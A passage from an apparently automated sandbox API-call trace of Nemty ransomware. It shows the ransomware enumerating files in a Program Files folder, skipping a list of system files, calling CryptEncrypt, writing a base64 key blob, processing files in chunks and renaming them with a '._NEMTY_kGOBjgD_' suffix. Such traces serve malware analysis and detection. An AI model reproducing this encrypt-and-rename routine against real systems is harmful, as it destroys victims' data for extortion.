lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.885] CloseHandle (hObject=0xffffffff) returned 0 [0070.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0070.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.885] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0070.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63403f0 [0070.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0070.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.885] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0070.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0070.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0070.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.886] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2=".") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="..") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="...") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="windows") returned -1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="$RECYCLE.BIN") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="rsa") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="NTDETECT.COM") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="ntldr") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="MSDOS.SYS") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="IO.SYS") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="boot.ini") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="boot.ini") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="ntuser.dat") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="desktop.ini") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="CONFIG.SYS") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="RECYCLER") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="BOOTSECT.BAK") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="bootmgr") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="programdata") returned 1 [0070.886] lstrcmpiW (lpString1="vintage.png", lpString2="appdata") returned 1 [0070.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0070.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vintage.png", lpUsedDefaultChar=0x0) returned 11 [0070.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0070.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vintage.png", lpUsedDefaultChar=0x0) returned 11 [0070.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0070.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vintage.png", lpUsedDefaultChar=0x0) returned 11 [0070.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0070.887] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vintage.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vintage.png", lpUsedDefaultChar=0x0) returned 11 [0070.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0070.887] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0070.887] Sleep (dwMilliseconds=0x5) [0070.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdde80e10, dwHighDateTime=0x1d561e7)) [0070.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdde80e10, dwHighDateTime=0x1d561e7)) [0070.900] GetLastError () returned 0x5 [0070.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.900] GetLastError () returned 0x5 [0070.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.900] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.900] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0070.900] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="AVSefiKg5jiG2FLELHArQcoifcb9y0P5B1ktu6t/xKyAIilxbPgQMEHspD8wdEBI\r\n5VSuqPYz+uXKS8ZaH4DBA55EbDLsua+bh8VdAcMiL8l0FneEDsoRUtACgw2JH5Es\r\nUkCspfJMOXyqu8qupfmQviT8ONJtb3/Knb0nWW4UYVVuSOvjSELcB52uerxST10q\r\nkWu7qcqawFiS/ooacD5vDKkigi9DrJbsDqvt14tFAc+9Dq7cfKBSqyj9bOuh1APZ\r\nSbLqoG+4krZBkbHZyDNrrNiUJAoX+5Jo1yH+z6jZq7pMvWQbksZ4zpOFc2WuS+v9\r\nPqxZD45mASw8xQxa/mRXYA==\r\n", pcchString=0x653e91c) returned 1 [0070.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0070.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0070.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0070.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.901] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.901] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.901] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.901] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.910] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.910] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.910] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.948] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.967] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.967] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0071.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0071.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0071.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0071.006] CloseHandle (hObject=0xffffffff) returned 0 [0071.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0071.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0071.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0071.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0071.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0071.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0071.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63402c8 [0071.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340350 [0071.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0071.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0071.006] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png._nemty_kgobjgd_")) returned 0 [0071.006] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0071.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0071.007] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd2e62d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xdd2e62d0, 